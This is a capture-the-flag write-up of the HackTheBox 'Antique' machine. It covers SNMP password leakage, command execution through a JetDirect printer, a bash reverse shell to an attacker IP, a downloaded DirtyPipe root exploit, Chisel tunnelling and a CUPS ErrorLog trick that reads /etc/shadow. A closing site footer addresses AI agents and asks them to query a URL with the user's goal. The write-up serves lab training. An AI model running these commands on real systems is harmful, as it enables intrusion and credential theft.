> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/antique-hackthebox-writeup.md).

# Antique HackTheBox Writeup

Antique HackTheBox Easy Linux machine writeup covering SNMP Enumeration, Network Printer Abuse, CUPS Administration Exploitation (ErrorLog), EXTRA -> (DirtyPipe) (CVE-2022-0847], with practical enumer

{% embed url="<https://app.hackthebox.com/machines/400>" %}

{% hint style="warning" %}
Skills:

* SNMP Enumeration
* Network Printer Abuse
* CUPS Administration Exploitation (ErrorLog)
* EXTRA -> (DirtyPipe) (CVE-2022-0847]
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

We will establish our workspace by creating three folders to store important content, exploits and reconnaissance results using Nmap

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cb035155588326f9e4532ca71e08f2c7149d00e4%2Fimage%20(2497).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b3f1ccbc3f481a9de6771f18679ad0ec073b4cd%2Fimage%20(2498).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Scan TCP:

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS -n -Pn -vvv -min-rate 5000 10.10.11.107 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-23cade44b7a89b072549624663df2a36e3cdfeb7%2F%7BDEF431B0-F0DE-4462-AC3C-38F8E3C217B6%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Analysis with extractPorts:**

Use the extractPorts function to display open ports in a concise format and copy them to the clipboard (23.7777)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d65ed51b8d7079a8cacd9a5486103c8961220224%2Fimage%20(2499).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Port Version Scan with Nmap:**

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p23,7777 10.10.11.107 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a8657133817dcdb4e7138c156235d2d5ec4e6855%2F%7B4FA11160-124B-400F-8E4E-560E50363192%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Scan UDP:

**Open Port Discovery with Nmap:**

We also perform a scan on UDP ports with **Nmap**:

```bash
nmap -sU --open -vvv -n 10.10.11.107 -oG allPortsUDP
```

We extract the results again with `extractPorts`, and we observe the opening of port **161**, used by SNMP.:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6a81cf64e8a8ff0fb95c33d672b72f1fc35aeb3b%2Fimage%20(2500).png?alt=media" alt=""><figcaption></figcaption></figure>

## Exploring Services

### Port 23 (Telnet) – HP JetDirect

When trying to connect on port **23** via **Telnet**, we encounter an HP JetDirect service that asks us for a password. We can try to connect with:

```bash
nc -vn 10.10.11.107 23
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-725a1f608f1d33690482172aa0bb1280cff23f09%2F%7B9974315B-23AA-4C6D-8235-D3369DFB8570%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Port 161 (SNMP)

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp>" %}

We use **snmpbulkwalk** to enumerate the SNMP services exposed on port **161**:

```bash
snmpbulkwalk -c public -v2c 10.10.11.107 .
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-595092436e5008d80f347cb7936f6ded67fc5636%2F%7BB7A3614E-949F-40F7-9819-8BBE2AFDD2AA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135
```

This gives us a hexadecimal character string which we convert to ASCII to obtain the readable content:

{% code overflow="wrap" %}

```bash
echo "50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135" | xxd -ps -r
```

{% endcode %}

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a5ab3ee421b0b27c287df57ec4791cd33763b7db%2F%7B3C9FCEF8-EF3C-44F5-A74E-144C7CB7B5DB%7D.png?alt=media" alt=""><figcaption></figcaption></figure></div>

This channel contains some interesting information, but nothing immediately useful for exploitation.

```bash
nc -vn 10.10.11.107 23
P@ssw0rd@123!!123
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e8e0c9228d74b0fdb0f22e6d3822290d62514f20%2F%7B6F1E205F-49A7-4CA9-A25C-5F8CE6E9A5C5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

When attempting to inject a string as a password on port 23 (JetDirect), we use attempts such as:

```bash
P@ssw0rd@123!!123
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f0c80b1e74faaa582d5e5023f6feabbc3bda0248%2F%7BC99DCBB5-30B6-45C0-8AE4-DE80AEEE0C5D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## Network Printer Abuse

We have detected that it is possible to execute commands through the network printer. Exploitation of this vulnerability relies on the `exec` command which allows remote commands to be injected. For example:

```bash
exec id
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f829522f1f46cddc1abdc85e79df45e99558472%2Fimage%20(2501).png?alt=media" alt=""><figcaption></figcaption></figure>

This returns system credentials and allows other commands to be executed.

**Reverse Shell**

We establish a reverse shell using **nc** on port **443** of the attacking machine:

```bash
nc -nvlp 443
```

```bash
exec bash -c "bash -i >& /dev/tcp/10.10.14.4/443 0>&1" 
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4e6f2829c0f8858923eedc0666277ecf206aad07%2Fimage%20(2502).png?alt=media" alt=""><figcaption></figcaption></figure>

Next, we manipulate the shell session to gain better control:

```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### user.txt flag :) <a href="#user-flag" id="user-flag"></a>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d6ca4f0300e973545cbd6678f625058993240432%2F%7BC9056F09-01CC-4112-AD5B-C8545FBBDE24%7D.png?alt=media" alt="" width="561"><figcaption></figcaption></figure>

## Privilege Escalation

## 1. Exploitation DirtyPipe

{% embed url="<https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit>" %}

We checked to see if the machine was vulnerable to the DirtyPipe exploit, a bug that allows modification of running system files. We found that the machine had **gcc**, a C compiler, available at location `/usr/bin/gcc`.

```bash
lp@antique:/home/lp$ which gcc
/usr/bin/gcc
```

Next, we used **Python3** to transfer the exploit from our local machine to the target machine. On our local machine, we launched an HTTP server to host the exploit:

```bash
python3 -m http.server
```

On the victim machine, we downloaded the exploit:

```bash
wget http://10.10.14.4/exploit.c
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e81bb0a4f30ef1430d5f616c29aeaf8c56c4518%2Fimage%20(1027).png?alt=media" alt=""><figcaption></figcaption></figure>

Once the exploit was recovered, we compiled the C file with **gcc**:

```bash
gcc exploit.c -o exploit
```

{% hint style="info" %}
The exploit modifies the `/etc/passwd` file by injecting a password hash, and adds a user `aaron` with a specific password, all to enable privilege escalation.
{% endhint %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3fc0ad0757f5bce1f8bfe2418a3ea7f4580be1a2%2F%7B05D94990-84EC-461B-BE38-3349B04D7B5F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Finally, just run the script:

```bash
./exploit
```

This allows us to gain `root`/*/* access to the machine

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7848accef10a484ae739e69fae35d09533a1491c%2Fimage%20(1028).png?alt=media" alt=""><figcaption></figcaption></figure>

## 2. Port Forwarding with Chisel

By inspecting the open ports on the target machine, we found port **631** (used by CUPS). Using the following command, we confirmed the presence of a CUPS service:

```bash
netstat -nat
```

The CUPS service is in version **1.6.1** and we have identified that it may be vulnerable. To redirect this port, we used **Chisel**, a tunneling tool.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22761bd27e9e04071190180bb80e1c9dfbb89885%2Fimage%20(1030).png?alt=media" alt=""><figcaption></figcaption></figure>

We first compiled Chisel on our local machine:

{% embed url="<https://github.com/jpillora/chisel>" %}

```bash
go build -ldflags "-s -w" .
upx chisel
```

Next, we transferred the Chisel executable to the victim machine via a Python3 HTTP server:

```bash
python3 -m http.server 8080
wget http://10.10.14.4:8080/chisel
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8586a89ccb2ebbb1bd09126142056d8d27798597%2Fimage%20(1031).png?alt=media" alt=""><figcaption></figcaption></figure>

On our machine, we started the Chisel server:

```bash
chisel server -p 8888 -reverse
```

Then, on the victim machine, we configured the Chisel client to redirect port 631 to our local machine:

```bash
./chisel client 10.10.14.4:8888 R:631:127.0.0.1:631
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1faa3561304a86686516c861c51d931ede87db8d%2F%7B78AE4EC8-73DD-4E47-A1AE-8ED8C621C126%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

This allows us to access the CUPS web interface of the target machine via a secure tunnel.

### Exploitation Vulnerability CUPS 1.6.1

{% embed url="<https://github.com/rapid7/metasploit-framework/blob/master/modules/post/multi/escalate/cups_root_file_read.rb>" %}

Using **cupsctl**, we modified the **CUPS** service configuration to redirect the **ErrorLog** file to a sensitive file, like **/etc/shadow**. This allows this file to be read as root via the CUPS web interface.

Command to modify the configuration:

```bash
cupsctl ErrorLog=/etc/shadow
```

We then accessed the CUPS web interface by visiting the following URL on the CUPS server through our tunnel:

This made it possible to view the contents of the **/etc/shadow** file and obtain the `root.txt` flag.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f0976e5fefeb3292acb77770ae8bceedd1cc81f0%2Fimage%20(1032).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-addaeda1828fa8cd3050f13e06842d62835f1e49%2Fimage%20(1029).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b3b9a325aaefb4c56559739fc3e0241e54a93716%2F%7BB5465363-AF5E-4CF7-A109-2592326FEAAD%7D.png?alt=media" alt="" width="520"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/antique-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
